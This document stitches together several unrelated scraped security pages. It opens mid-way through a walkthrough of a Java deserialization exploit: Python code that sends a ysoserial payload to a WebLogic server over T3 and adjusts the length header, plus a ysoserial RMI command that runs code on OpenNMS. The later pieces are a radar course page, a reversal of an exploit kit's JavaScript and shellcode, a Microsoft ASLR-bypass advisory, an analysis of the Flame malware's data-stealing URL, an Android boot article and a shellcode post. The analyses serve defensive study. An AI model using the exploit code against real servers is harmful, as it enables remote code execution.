WNlUGFja1oADnRlbXBvcmFyeVBhdGNoWwAIcGFja2FnZXN0ACdbTHdlYmxvZ2ljL2NvbW1vbi9pbnRlcm5hbC9QYWNrYWdlSW5mbzt4cgAkd2VibG9naWMuY29tbW9uLmludGVybmFsLlZlcnNpb25JbmZvlyJFUWRSRj4CAANbAAhwYWNrYWdlc3EAfgADTAAOcmVsZWFzZVZlcnNpb250ABJMamF2YS9sYW5nL1N0cmluZztbABJ2ZXJzaW9uSW5mb0FzQnl0ZXN0AAJbQnhyACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuUGFja2FnZUluZm/m9yPnuK4eyQIACUkABW1ham9ySQAFbWlub3JJAAtwYXRjaFVwZGF0ZUkADHJvbGxpbmdQYXRjaEkAC3NlcnZpY2VQYWNrWgAOdGVtcG9yYXJ5UGF0Y2hMAAlpbXBsVGl0bGVxAH4ABUwACmltcGxWZW5kb3JxAH4ABUwAC2ltcGxWZXJzaW9ucQB``+AAV4cHcCAAB4``/gD//gEAAKztAAVzcgATd2VibG9naWMucmp2bS5KVk1JRNxJwj7eEh4qDAAAeHB3RiEAAAAAAAAAAAAJMTI3LjAuMS4xAAt1cy1sLWJyZWVuc6U8r/EAAAAHAAAbWf///////////////////////////////wB4/gEAAKztAAVzcgATd2VibG9naWMucmp2bS5KVk1JRNxJwj7eEh4qDAAAeHB3HQEWYNfJ8RaIywAJMTI3LjAuMS4xpTyv8QAAAAAAeA``==``Data
Length: 1525``Object found...weblogic.rjvm.ClassTableEntry``Bytes skipped:
118``Bytes left: 1154``Object found...weblogic.rjvm.ClassTableEntry``Bytes
skipped: 375``Bytes left: 745``Object
found...weblogic.rjvm.ClassTableEntry``Bytes skipped: 784``Bytes left:
196``Object found...weblogic.rjvm.JVMID``Bytes skipped: 1336``Bytes left:
76``Object found...weblogic.rjvm.JVMID``Bytes skipped: 1453``Bytes left: 0`  
---|---  
Using this output, we can draw a few conclusions. First, in the ONE packet,
there are contained 5 Java objects. This matches what I expect, if you look
for “ac ed 00 05” in the raw binary, you will find 5 occurences.

More interestingly, we can see the exact location in the binary stream of each
object, its beginning and end. For example the first object occupies bytes 118
to \(1525-1154\) = 371. The second object occupies bytes 375 to
\(1525-745\)=780.

So in theory, if we replace one of these objects with our payload from
ysoserial, and don’t muck with any of the other bytes, it should all just
work…

#### One Final Detail

Spoiler alert – it won’t just work. The objects are wrapped inside the “T3”
protocol. The very first few bytes of the packet in T3 specify the total
message length. If we fail to adjust this length, our payload won’t fit into
the message, and when Java tries to unserialize it, it will blow up with an
“EOFException”, meaning it hit the end of the file before it was done reading.

How did I figure this out? I attached the NetBeans debugger to the WebLogic
process. I then decompiled the WebLogic JAR file that contained the class
where the EOFException was originating – this is the code where our message is
being processed. I fed NetBeans the decompiled source files and used them to
step through the running code. In my experience you can fix anything in Java,
even in big clunky proprietary products using this methdology.

#### Python Exploit

So let’s put it all together in Python. Obviously I won’t be pasting the full
payload since it’s just too large, but the full code can be found on GitHub.

First, we need to establish a TCP connection to the target:

1234567891011| `#!/usr/bin/python` `#Usage: ./poc.py host port
/path/to/payload``import` `socket``import` `sys` `sock ``=`
`socket.socket(socket.AF_INET, socket.SOCK_STREAM)` `server_address ``=`
`(sys.argv[``1``], ``int``(sys.argv[``2``]))``print` `'connecting to %s port
%s'` `%` `server_address``sock.connect(server_address)`  
---|---  
Next, if you recall from the packet dump in Wireshark, we have to send a
message to tell WebLogic that we want to talk using the T3 protocol. After we
send the message, we also need to wait for WebLogic’s response:

1234567| `# Send headers``headers``=``'t3
12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'``print`
`'sending "%s"'` `%` `headers``sock.sendall(headers)` `data ``=`
`sock.recv(``1024``)``print` `>>sys.stderr, ``'received "%s"'` `%` `data`  
---|---  
Next we need to create and send our payload. This is obviously the tricky
part. The payload will be composed in three chunks. The first chunk will be
all of the bytes that come before the output of “ysoserial”. I decided to
replace the SECOND object in the stream, meaning the first chunk of my payload
will contain all the T3 headers, and the first Java object that was in the
original data.

The second chunk of the payload will simply be the output of “ysoserial”.

The third chunk will be all of the bytes that came after the second object in
the stream.

123456789| `payloadObj ``=`
`open``(sys.argv[``3``],``'rb'``).read()``payload``=``'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\x...........``payload``=``payload``+``payloadObj``payload``=``payload``+``'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x...........``print`
`'sending payload...'``'''outf =
open('payload.tmp','w')``outf.write(payload)``outf.close()'''``sock.send(payload)`  
---|---  
A very important point about the first chunk of the payload. Notice the first
4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload
length in bytes. For MY payload if do:

12| `>>> len(payload)``2547`  
---|---  
I get the length 2547, which translates to “9F3” in hex. You might have to
adjust this depending on the payload you decide to use. You can easily do this
dynamically as well, I’ll leave that as an exercise for the reader :\).

If you did everything just right, the “sock.send\(payload\)” line should fire
it off and run your remote command\!

## Exploit 5 – OpenNMS through RMI

I mentioned in the beginning of this post that RMI was trivially vulnerable to
this. The entire concept of Java RMI is built on object deserialization, if
you can see the TCP ports associate with an RMI service open, and that service
has the commons library available, you can pop it.

We use OpenNMS as an example here just because we already had it installed and know that it runs RMI. Usually RMI listens on TCP port 1099, so if you’re curious whether your machine or your target is running it, just simply nmap for 1099/TCP or use “lsof -i -P | grep java | grep LISTEN” and look for it.
The exploit in this case didn’t require much effort. The authors of
“ysoserial” provide proof of concept with the tool. It can be used as follows:

1| `java -``cp` `ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost
1099 CommonsCollections1 calc.exe`  
---|---  
Easy as that. This will run “calc.exe” on the target host, assuming RMI is
running on port 1099. We confirmed this worked on the latest version of
OpenNMS.

## The Fix – Kind of…

Going forward, developers should take this as an example of why it’s not safe
to unserialize untrusted data. Unfortunately in the Java world, so much is
built on the concept that this is okay, it’s going to take a long time to move
away from that.

In the meantime, we’re stuck with putting out the current fire, and that is
the commons-collections library. Whatever your application is that you suspect
is vulnerable, I suggest spinning it up in a test environment. The first thing
you can try is the following:

12| `root@us-l-breens:``/opt/apache-tomcat-8``.0.28``# grep -Rl
InvokerTransformer .``.``/webapps/ROOT/WEB-INF/lib/commons-
collections-3``.2.1.jar`  
---|---  
This identifies any jar or class files that contain the vulnerable library. If
you’re particularly brave, you can simply delete all of the associated files
and hope for the best. I’d suggest very thorough testing after this procedure.

For those faint of heart, you can be a little more surgical about it. If we
examine the two exploits provided by the “ysoserial” tool, we can see that
they both rely on the “InvokerTransformer” class. If we remove this class file
everywhere it exists, any attempted exploits should fail. Feel free to open up
your jar files with your expired copy of Winzip and delete the file at
“org/apache/commons/collections/functors/InvokerTransformer.class”.

Again, I would suggest very thorough testing after this procedure, but unless
you’re actually using the InvokerTransformer in your code \(or something that
relies on it\), this shouldn’t break anything.

### Share this:

  * Twitter
  * Facebook
  * Google
  * 

  

# MIT Lincoln Laboratory: Workshops/Education: Video Lectures and Courses:
Introducton to Radar Systems

**Created:**| _2/23/2012 9:53:04 PM_  
---|---  
**Updated:**| _2/23/2012 9:53:07 PM_  
**Author:**| __  
**Tags:**| _research DSP radar_  
  

# Workshops/Education

  * Lincoln Workshops ›
    * AVS
    * CNW
    * Homeland Protection/ Chem-Bio
    * HPEC
    * ISR
    * Space Control
    * Subthreshold Microelectronics
  * Lincoln Courses ›
    * Intro to Radar Systems
    * BMD Technology
    * NCC
  * Video Lectures and Courseware ›
    * Intro to Radar Systems
    * Graduate Radar Systems
    * Adaptive Antennas and Phased Arrays

## Introduction to Radar Systems

Overview

This set of 10 lectures \(about 11+ hours in duration\) was excerpted from a
three-day course developed at MIT Lincoln Laboratory to provide an
understanding of radar systems concepts and technologies to military officers
and DoD civilians involved in radar systems development, acquisition, and
related fields. That three-day program consists of a mixture of lectures,
demonstrations, laboratory sessions, and tours.

This set of lectures is presented by Dr. Robert M. O'Donnell, a recently
retired member of the senior staff at MIT Lincoln Laboratory, and is designed
to instill a basic working knowledge of radar systems.

Description of Lectures

The set of 10 lectures starts with an introductory description of basic radar
concepts and terms. The radar equation needed for the basic understanding of
radar is then developed, along with several examples of its use in radar
system design. Radar propagation issues, such as attenuation, multipath
effects and ducting, are described. The concept of radar cross-section,
waveform design, antennas, transmitter and receiver characteristics and the
detection of radar signals in the presence of noise are presented. Some radars
are required to detect small targets in the presence of much larger radar
echoes from sea or land "clutter" in the radar's coverage. The characteristics
of this "clutter" are discussed, along with moving target indicator \(MTI\)
and Pulse Doppler techniques for mitigating the negative effects of "clutter."
The course continues with lectures covering target tracking and target
parameter estimation. The last lecture discusses radar transmitters and
receivers.

List of Lectures

Click on titles below to the view the lectures and/or download the pdf files
of the viewgraghs for each lecture.

****

  1. **Introduction**
  2. **Radar Equation**
  3. **Propagation Effects**
  4. **Target Radar Cross Section**
  5. **Detection of Signals in Noise and Pulse Compression**
  6. **Radar Antennas**
  7. **Radar Clutter and Chaff**
  8. **Signal Processing - MTI and Pulse Doppler Techniques**
  9. **Tracking and Parameter Estimation**
  10. **Transmitters and Receivers**

****

Please **let us know** if you have any questions or comments about the Intro
to Radar lectures.

**_Prerequisites_**

Any person with a college degree should be comfortable understanding the
material in this course. A degree in and science or engineering is not
required, although the material will be more readily understood if the
audience has introductory college-level knowledge of:

  * mathematics including the topics of algebra, trigonometry, and logarithms
  * basic physics including the topics of electricity and magnetism

**_Potential Audience_**

  1. University students or recent graduates who are contemplating employment with a corporation which develops radar systems  
  

  2. Non-technical employees of corporations \(such as accountants, lawyers, and other non-engineering personnel\) that develop radar systems.  
  

  3. Patent attorneys who deal with radar patent issues  
  

  4. Political scientists or others who deal with arms control issues  
  

  5. Engineers or scientists unfamiliar with the terms and concepts particular to radar systems engineering. These individuals should be able to go through the lectures quite quickly, learning the “vocabulary” of radar, so that they can promptly delve into the technical aspects of radar systems without being confused by new jargon, acronyms, and/or technical terms.  
  
And many others including… perhaps…  
  

  6. The curious, who want to know how that policeman knew they were traveling 79 miles per hour in a 65 mile per hour zone.

top of page

# Reversing the Incognito Exploit Kit | Kahu Security
**Created:**| _6/9/2011 6:48:24 PM_  
---|---  
**Updated:**| _6/9/2011 6:48:32 PM_  
**Author:**| __  
**Tags:**| _Examples reversing JavaScript_  
  

← Wild Wild West – 06/2011

# Reversing the Incognito Exploit Kit

Posted on June 4, 2011 by darryl

Looks like Incognito got updated yet again. Let’s reverse the Javascript
exploit code…

<img src='img/Temp2_6975.png' width='904' height='625' />

First let’s clean this up \(the complete script is here\)\! You can see it’s
now using p, div, and span tags to hold the obfuscated code which is different
than the earlier versions.

<img src='img/Temp2_6976.png' width='904' height='625' />

While the Javascript code at the bottom looks different than the previous
version, there are several similiarities.

<img src='img/Temp2_6979.png' width='827' height='577' />

What the Javascript does first is build out the list of key Javascript
objects:

“indexOfunescapeevallengthcharAtinnerHTMLgetElementsByTagNamedivgetElementById”

Other functions in the script uses “substr” to extract the text \(i.e. the
Javascript object\) it needs to perform its tasks.

At the very top of the script, there are three DIVs. The first one decrypts to
the string above. The second and third are used as lookup tables if you will
and called upon by the “LywIs” function which decrypts the junk at the top.

What that function does is read in the gibberish, after it has been
concatenated into one long string, one character at a time \(e.g.
“hMTTuHhMTTuFhMTTuUhMTTydhMTTuthMTTudhMTTuQ”\). The first character is “h”. Go
ahead and find it in the first string of characters below and remember its
position.

`qgxuMoLXtBywHhFDzTNdYPUQclvJpbKIikAnOZfSWaERrmVsjCeG`  
`AaE6ub2Bd87F4%f9D0c51C3e`

Now look at the shorter string above and get the character at the same
position. That’s the converted value. In this case, it’s the “%” character.
The top string is twice as long as the second but only the first half is used.

The next character is “M” which corresponds to “u”. The third is “T” which is
“0″. And so on…until you get this.

<img src='img/Temp2_6977.png' width='827' height='577' />

To shortcut this, you can modify the function this way:

<img src='img/Temp2_6982.png' width='822' height='577' />

Now, you just need to convert this from UCS2 to Hex then convert Hex to Text.
You should then get this:

<img src='img/Temp2_6978.png' width='827' height='577' />

Unlike some of the other exploit kits, Incognito 2.0 only uses a limited
number of exploits:

$exp\_list = array\(“jark”,”rox”,”hcp”,”jdt”,”libtiff”,”mdac”\);

Each of these exploits are spread over four steps in the code we just
deobfuscated. Let’s look at the last step, “step3″. This function pushes out
one of two PDF exploit files depending on your browser/version.

<img src='img/Temp2_6983.png' width='860' height='593' />

This PDF file I downloaded contains Javascript code that deobfuscates the junk
at the bottom. This is rather simple to figure out. In fact, this technique
looks similar to what the Black Hole exploit kit uses.

<img src='img/Temp2_6980.png' width='748' height='856' />

Up near the top of the Javascript are two variables which look like years:

CekipyboRijehyxo=2011;  
var j = CekipyboRijehyxo-2007;

The result is 4. Remember that for later. After a bunch of concatenation, text
replacements, and other steps to try and throw you off, the Javascript code
takes the junk at the bottom and decrypts it. Here’s an excerpt of the
gibberish:

j\*29.5,j\*24.25,j\*28.5,j\*8,j\*24.5,j\*26.5,j\*28.75,j\*25.75,j\*15.25,j\*9.75,j\*9.25,j\*29.25,j\*14.25,j\*12…

If you remember, the value of the variable “j” is 4. 4 x 29.5 = 118. 4 x 24.25
= 97. Keep going till you are done then convert the decimal values to text.
You will end up with this:

<img src='img/Temp2_6981.png' width='748' height='699' />

If you look at the Metasploit PDF exploit module, you will see that this is
very familiar. There’s shellcode up at the top, now let’s analyze that. You
will first need to convert this to binary. There’s a number of tools to help
you do that. I like “Malzilla” by Bobby. Paste the shellcode into the “Misc
Decoders” tab:

<img src='img/Temp2_6987.png' width='842' height='517' />

Click on the “UCS2 to Hex” button then the “Hex to File” button and save the
file. You will end up with this:

<img src='img/Temp2_6990.png' width='641' height='305' />

Another favorite tool I like to use is “sclog” from David Zimmer which dumps
and hopefully decodes the shellcode. Just enter the following command:

<img src='img/Temp2_6988.png' width='669' height='338' />

And you will get the decoded result. If this doesn’t work for you then you can
use another one of David Zimmer’s tools called “Shellcode2EXE” then analyze
the EXE file.

<img src='img/Temp2_6985.png' width='641' height='305' />

When I visit this URL, I get an executable file called “setup.exe”. Uploading
this to VirusTotal and we get the following results. It looks to be a packed
downloader with 12 of 43 \(27.9%\) coverage.

<img src='img/Temp2_6984.png' width='648' height='491' />

Here’s the link: http://www.virustotal.com/file-
scan/report.html?id=fcd8e5146b67bcc3de663cd29dd805af5dea50e6dcad60c3328fefbdae0e2c8f-1306709857\#

Since it’s likely to be a downloader, I fire up my packet sniffer and run the
program. This program downloads a file also called “setup.exe”.

<img src='img/Temp2_6989.png' width='594' height='189' />

The downloaded file ends up in c:\windows\temp\ and is renamed to
“\_ex-68.exe”. I shoot that over to VirusTotal and it is only picked up by 7
of 42 AV engines \(16.7%\).

<img src='img/Temp2_6991.png' width='648' height='565' />

Here’s the link: http://www.virustotal.com/file-
scan/report.html?id=066e29c43bf818e1cb35efe8bc408fe5ac65632814198382b3f7c7c1aecad5ce-1306726815

What is this last executable? You guessed it…rogueware.

<img src='img/Temp2_6986.png' width='751' height='558' />

Hopefully this helps you better understand how to reverse Javascript and
tackle some of the binaries you get during your analysis.

# MS13-106: Farewell to another ASLR bypass - Security Research & Defense -
Site Home - TechNet Blogs

**Created:**| _12/10/2013 10:05:33 PM_  
---|---  
**Updated:**| _12/10/2013 10:05:33 PM_  
**Author:**| __  
**Tags:**| _windows security aslr_  
  

# **M** S13-106: Farewell to another ASLR bypass****

swiat

9 Dec 2013 8:18 PM

Today we released MS13-106  which resolves a security feature bypass that can
allow attackers to circumvent Address Space  
Layout Randomization \(ASLR\) using a specific DLL library \(HXDS.DLL\)
provided as part of Microsoft Office 2007 and 2010**.**

The existence of an ASLR bypass does not directly enable the execution of code
and does not represent a risk by itself, since  
this bypass still needs to be used in conjunction with another higher-severity
vulnerability that allows remote code  
execution in order to provide some value to attackers**.** ASLR is an
important mitigation that has been supported  
since Windows Vista which, when combined with Data Execution Prevention
\(DEP\), makes it more difficult to exploit memory  
corruption vulnerabilities **.**

Because ASLR is a generic mitigation aimed at stopping exploitation techniques
that apply to many vulnerabilities, attackers  
are very interested in attempting to find new bypass techniques for it**.**
These bypass techniques typically fall into one of  
three categories:

1\) Presence of a DLL at runtime that has not been compiled with /DYNAMICBASE
flag  
\(therefore loaded at a predictable location in memory\)**.**

2\) Presence of predictable memory regions or pointers that can be leveraged
to execute code  
or alter program behavior**.**

3\) Leveraging a vulnerability to dynamically disclose memory addresses**.**

The ASLR bypass that has been addressed by MS13-106 falls into the first
category**.** The difficulty of finding and using an  
ASLR bypass varies based on the category of the technique**.** It is generally
easier to identify DLL modules that fall into the first  
category \(especially expanding the search through third-party browser plugins
and toolbars\), while it is generally more  
difficult, and less reusable, to find or create a bypass for the other two
categories**.** For example, two of the recent  
Internet Explorer exploits that were used in targeted attacks \(CVE-2013-3893
and CVE-2013-3897 \) both relied on the  
same ASLR bypass, which fell into the first category -- making use of the
HXDS.DLL library that is part of Office 2007/2010  
that was not compiled using /DYNAMICBASE**.**

Bolstering the effectiveness of ASLR helps to harden the security of our
products and that is why MSRC continues to release  
tools and updates that enforce ASLR more broadly on Windows \(such as
KB2639308  and EMET \) and to release updates that  
close known ASLR bypasses as part of our defense-in-depth strategy \(such as
MS13-063  for the bypass presented at  
CanSecWest 2013\)**.**

Today MS13-106  closes one additional known bypass that will no longer be
available to attackers**.**

\- Elia Florio, MSRC Engineering

****

# Analysis of Flame WuSetupV.exe URL parameters » CrySyS Blog

**Created:**| _6/26/2012 9:31:57 AM_  
---|---  
**Updated:**| _6/26/2012 9:31:57 AM_  
**Author:**| __  
**Tags:**| _iDA Malware-analysis_  
  

# Analysis of Flame WuSetupV.exe URL parameters

Uncategorized Add comments

Jun 182012

Basically the main functionality of the WuSetupV.exe of Flame is to create a
special URL, download the main component of Flame using the special URL, store
it and install it on the victim computer.

<img src='img/Temp2_582.jpg' width='1361' height='581' alt='WuSetupV.exe
structure' />

The most interesting topic is what type of data is stored inside the URL
created by WuSetupV as it uses multiple parameters, like  
`GET
/view.php?mp=1&jz=4073875454&fd=28369876&am=55597C801D14&ef=40474645&pr=0&ec=0&ov=666641736666417766664174pl=gspnZGygMcK0Gnng|spnZGy|nynn|0ncnn|TWvDKoKv|nGcRW0Gn|Dnann|Rya0ZjD8|nR0jKnZ|nR0jKnZ|nR0jKnZ|nR0jKnZ|nR0jKnZ|n8KKDnR|GU8DKcGc|-2TacGCcap|RyZKKDne|RyZKKDne|aDo|Tn0vZLp|Txax0DZ|qxsGZx8-4GUg|cGoGeWZ|qxsGZx8-|
HTTP/1.1`

So let’s see how the parts of the URL are created.

The “jz=” parameter is created randomly, but reused if error occurs and second
download is done. This means the value might be used multiple times within the
same session, hence it is a session id.  
The value is converted to decimal. The random generator is a well known simple
one, the main part is  
`  
.text:00403489 mov eax, dword_4053C0  
.text:0040348E imul eax, 343FDh  
.text:00403494 add eax, 269EC3h ;  
.text:00403499 mov dword_4053C0, eax  
.text:0040349E sar eax, 10h  
.text:004034A1 and eax, 7FFFh`

The “am=” parameter, handled around sub\_401426, contains a hex string, which
is bytewise xor’d with 0×55. The hex string is 48 bits long and contains the
interface MAC address. In this case am=55597C801D14 refers to the
00:0c:29:d5:48:41 VMware MAC address.

The “ef=” parameter is the IP address or IP addresses \(concatenated\) of the
client computer, most likely it is useful if proxy server or NAT is used. The
parameter is character-wise XORd with 0×44 at each byte, with the subroutine
described below for parameter “ov=” \(loc\_402A30\), and represented in hex
string. In this way 0×40474645 represents IP address 1.2.3.4.

The “ov=” parameter contains Windows version information. The string
“ov=666641736666417766664174″ can be separated into three 8-character hex
string

`66664173  
66664177  
66664174  
`

All three parts are XOR’d with 0×66 at the end by the following simple code
fragment:

`.text:00402A30 loc_402A30: ; CODE XREF: xor_encr_sub_402A2E+12j  
.text:00402A30 mov eax, [esp+arg_0]  
.text:00402A34 mov dl, [esp+arg_4]  
.text:00402A38 add eax, ecx  
.text:00402A3A xor [eax], dl  
.text:00402A3C inc ecx  
.text:00402A3D cmp ecx, 4  
.text:00402A40 jb short loc_402A30  
.text:00402A42 retn`

The original values are:

`2715  
2711  
2712  
`

The originals of all of these three values are 0×2710 added as follows:

`.text:0040159D mov eax, [ebp+VersionInformation.dwMajorVersion]  
.text:004015A3 push 66h ; int  
.text:004015A5 add eax, 2710h  
.text:004015AA push edi ; lpString1  
.text:004015AB push eax ; int  
.text:004015AC call xor_and_printf08x_sub_402A63  
.text:004015B1 add esp, 0Ch  
.text:004015B4 test eax, eax  
.text:004015B6 jz short loc_4015FE  
.text:004015B8 mov eax, [ebp+VersionInformation.dwMinorVersion]  
.text:004015BE add dword ptr [esi], 8  
.text:004015C1 push 66h ; int  
.text:004015C3 add eax, 2710h  
.text:004015C8 push edi ; lpString1  
.text:004015C9 push eax ; int  
.text:004015CA call xor_and_printf08x_sub_402A63  
.text:004015CF add esp, 0Ch  
.text:004015D2 test eax, eax  
.text:004015D4 jz short loc_4015FE  
.text:004015D6 mov eax, [ebp+VersionInformation.dwPlatformId]  
.text:004015DC add dword ptr [esi], 8  
.text:004015DF push 66h ; int  
.text:004015E1 add eax, 2710h  
.text:004015E6 push edi ; lpString1  
.text:004015E7 push eax ; int  
.text:004015E8 call xor_and_printf08x_sub_402A63`

Therefore, the string above represents

`dwMajorVersion = 5  
dwMinorVersion = 1  
dwPlatformId = 2  
`

From which 5.1 represents Windows XP, and VER\_PLATFORM\_WIN32\_NT==2 as
dwPlatformId.

The “fd=” parameter stores HKEY\_CURRENT\_USER\Console\StandardSize or in
HKEY\_CURRENT\_USER\Software\Microsoft\Internet Explorer\LowRegistry dword in
decimal form, depending on the Windows version. In our case it is 28369876,
which is 0x01B0E3D4 in hex. This variable in the registry is not standard. If
it does not exist, the StandardSize parameter is created by WuSetupV.exe as a
random number seeded with time information, and stored in the registry; the
related code is the following:

`.text:00403C01 call time_rnd_seed_sub_4025BF  
.text:00403C06 call rndgen3_4times_sub_402637  
.text:00403C0B mov [esi], eax  
.text:00403C0D mov dword ptr [edi], 1  
.text:00403C13 mov edx, [esi]  
.text:00403C15 push edx ; Data  
.text:00403C16 call set_standardsize_key_sub_403DB0`

<img src='img/Temp2_581.jpg' width='1011' height='238' />

The difference between “jc=” and “fd=” is that “jc=” is a session identifier,
re-used only within a single run of WuSetupV.exe, while “fd=” is a permanent
id for the particular computer stored in the registry.

Interestingly, libclanattack Lua script also uses StandardSize, but the
corresponding key is in TimeZoneInformation:

` 1 [-]: GETUPVAL R0 U0 ; R0 := U0  
2 [-]: GETTABLE R0 R0 K0 ; R0 := R0["remoteSafety"]  
3 [-]: SELF R0 R0 K1 ; R1 := R0; R0 := R0["getRegDword"]  
4 [-]: LOADK R2 K2 ; R2 :=
"HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation"  
5 [-]: LOADK R3 K3 ; R3 := "StandardSize"  
6 [-]: TAILCALL R0 4 0 ; R0,... := R0(R1,R2,R3)  
7 [-]: RETURN R0 0 ; return R0,...  
8 [-]: RETURN R0 1 ; return`

The “pr=” parameter is set according to the existence of the StandardSize
parameter. If it was found by the program, then “pr=0″, if it is the first
start of the malicious WuSetupV, then “pr=1″ shows to the server that this is
a new installation.

WuSetupV.exe looks for the registry key  
`SYSTEM\CurrentControlSet\Control\TimeZoneInformation`  
But it is not interested in the time zone. In reality it looks for the
StandardDateBias data inside the registry, then later it adds to “dd=” CGI
parameter in decimal form. The real reason is unknown.

The longest part of the URL, the “pl=” CGI parameter is encrypted by a simple
substitution table:

`  
hXk1Qrbf6VH~29SMYAsCF-q7Omad0eGLojWi.DyvK8zcnZxRTUpwE_B5tuNPIJgl43  
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-.`

This way for the query

`GET
/view.php?mp=1&jz=4073875454&fd=28369876&am=55597C801D14&ef=40474645&pr=0&ec=0&ov=666641736666417766664174pl=gspnZGygMcK0Gnng|spnZGy|nynn|0ncnn|TWvDKoKv|nGcRW0Gn|Dnann|Rya0ZjD8|nR0jKnZ|nR0jKnZ|nR0jKnZ|nR0jKnZ|nR0jKnZ|n8KKDnR|GU8DKcGc|-2TacGCcap|RyZKKDne|RyZKKDne|aDo|Tn0vZLp|Txax0DZ|qxsGZx8-4GUg|cGoGeWZ|qxsGZx8-|
HTTP/1.1  
Accept: */*  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)  
Host: mshome-f3be293c  
Connection: Keep-Alive`

the original value of “pl=”, which contains the list of current active
processes, is in this case:

`_System_Process_ System smss csrss winlogon services lsass vmacthlp svchost  
svchost svchost svchost svchost spoolsv explorer VMwareTray vmtoolsd vmtoolsd
alg  
wscntfy wuauclt WuSetupV.ex_ regedit WuSetupV`

Upon unsuccessful download, WuSetupV creates a second URL and sends it to the
server like the one below:

`  
GET /view.php?ac=1&jz=2203776806&fd=28369876&gb=0&rt=a0b0c0d HTTP/1.1`

Summary of the URL parameters used by WuSetupV.exe

`  
mp: is fixed 1 for first query  
jz: session identifier  
fd: computer identifier  
am: MAC address of interface  
ef: IP address  
pr: is 0 if StandardSize already exists, pr=1 for new installations  
ec: generally 0, probably some error checking related to ~DHF593.tmp file  
ov: Windows version number  
pl: Process list  
ac: is fixed 1; used in second query  
gb: 0, ??  
rt: is a0b0c0d, ??  
dd: value of StandardDateBias, if set`

TODOs:  
What exactly are gb, ec, rt good for?  
How is the program related to ef\_trace file?

# Enea Android Blog: The Android boot process from power on

**Created:**| _11/10/2011 3:12:26 PM_  
---|---  
**Updated:**| _11/10/2011 3:12:26 PM_  
**Author:**| __  
**Tags:**| _android_  
  

### The Android boot process from power on

Since mobile platforms and embedded systems has some differences compared to
Desktop systems in how they initially start up and boot this post will discuss
the initial boot stages of an Android phone in some detail. Since we have used
the Beagle Board as reference in some previous examples any specifics here are
related to a similar system.  
  
1\. Power on and boot ROM code execution  
<img src='img/Temp2_2718.png' />At power on the CPU will be in a state where
no initializations have been done. Internal clocks are not set up and the only
memory available is the internal RAM. When power supplies are stable the
execution will start with the Boot ROM code. This is a small piece of code
that is hardwired in the CPU ASIC. For more information on boot ROM and
configurations study the initalization chapter in  
the Omap 3530 TRM.  

  * A. The Boot ROM code will detect the boot media using a system register that maps to some physical balls on the asic. This is to determine where to find the first stage of the boot loader.  

  * B. Once the boot media sequence is established the boot ROM will try to load the first stage boot loader to internal RAM. Once the boot loader is in place the boot ROM code will perform a jump and execution continues in the boot loader.  

2\. The boot loader  
The boot loader is a special program separate from the Linux kernel that is
used to set up initial memories and load the kernel to RAM. On desktop systems
the boot loaders are programs like GRUB and in embedded Linux uBoot is often
the boot loader of choice. Device manufacturers often use their own
proprietary boot loaders. The requirements on a boot loader for Linux running
on an ARM system can be found in the Booting document under
`/Documentation/arm` in the kernel source tree.  
<img src='img/Temp2_2715.png' />  

  * A. The first boot loader stage will detect and set up external RAM.
  * B. Once external RAM is available and the system is ready the to run something more significant the first stage will load the main boot loader and place it in external RAM.
  * C. The second stage of the boot loader is the first major program that will run. This may contain code to set up file systems, additional memory, network support and other things. On a mobile phone it may also be responsible for loading code for the modem CPU and setting up low level memory protections and security options.
  * D. Once the boot loader is done with any special tasks it will look for a Linux kernel to boot. It will load this from the boot media \(or some other source depending on system configuration\) and place it in the RAM. It will also place some boot parameters in memory for the kernel to read when it starts up.
  * E. Once the boot loader is done it will perform a jump to the Linux kernel, usually some decompression routine, and the kernel assumes system responsibility.

3\. The Linux kernel  
The Linux kernel starts up in a similar way on Android as on other systems. It
will set up everything that is needed for the system to run. Initialize
interrupt controllers, set up memory protections, caches and scheduling.<img
src='img/Temp2_2716.png' />  

  * A. Once the memory management units and caches have been initialized the system will be able to use virtual memory and launch user space processes.
  * B. The kernel will look in the root file system for the init process \(found under system/core/init in the Android open source tree\) and launch it as the initial user space process.  

4\. The init process  
The init process is the "grandmother" of all system processes. Every other
process in the system will be launched from this process or one of its
descendants.  
<img src='img/Temp2_2720.png' />  

  * A. The init process in Android will look for a file called init.rc. This is a script that describes the system services, file system and other parameters that need to be set up. The init.rc script is placed in system/core/rootdir in the Android open source project.
  * B. The init process will parse the init script and launch the system service processes.

5\. Zygote and Dalvik  
The Zygote is launched by the init process and will basically just start
executing and and initialize the Dalvik VM.  
<img src='img/Temp2_2719.png' />6\. The system server  
The system server is the first java component to run in the system. It will
start all the Android services such as telephony manager and bluetooth. Start
up of each service is currently written directly into the run method of the
system server. The system server source can be found in the file
frameworks/base/services/java/com/android/server/SystemServer.java in the open
source project.  
<img src='img/Temp2_2717.png' />  
  
7\. Boot completed  
Added this part to the post on 20090831 since it is very useful and something
I should not have left out from the beginning. Once the System Server is up
and running and the system boot has completed there is a standard broadcast
action called ACTION\_BOOT\_COMPLETED. To start your own service, register an
alarm or otherwise make your application perform some action after boot you
should register to receive this broadcast intent.  
  
The separate boot steps and possible places to add your own functionality are
covered in more detail in separate posts.  
  
/Mattias

# \[Dailydave\] A people's guide to search-shellcode

**Created:**| _12/24/2009 12:15:55 PM_  
---|---  
**Updated:**| _12/24/2009 12:16:18 PM_  
**Author:**| __  
**Tags:**| _shellcode Exploit research_  
  

[code]

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    I'm guessing every team out there has their own methodology on how to do
    this, but these are the ones I know about.
    
    In general the problem statement is that you want a SMALL (30-90 bytes
    or so) shellcode that you can use when space is at a premium.
    
    While some simple callbacks shellcodes (c.f. ordinal shellcodes,
    shellcodes with known addresses, etc.) are also in this size range, the
    payload for an exploit may require sophisticated techniques that are
    unable to be compressed to that level. For example, an exploit targeting
    a browser may require the ability to repair structures in the browser
    after exploitation to prevent it from crashing under the user, alerting
    them to the attack. Likewise, reliability or protocol tunnelling
    constraints may requires a large, complex main shellcode. Hence the use
    of a "search" shellcode.
    
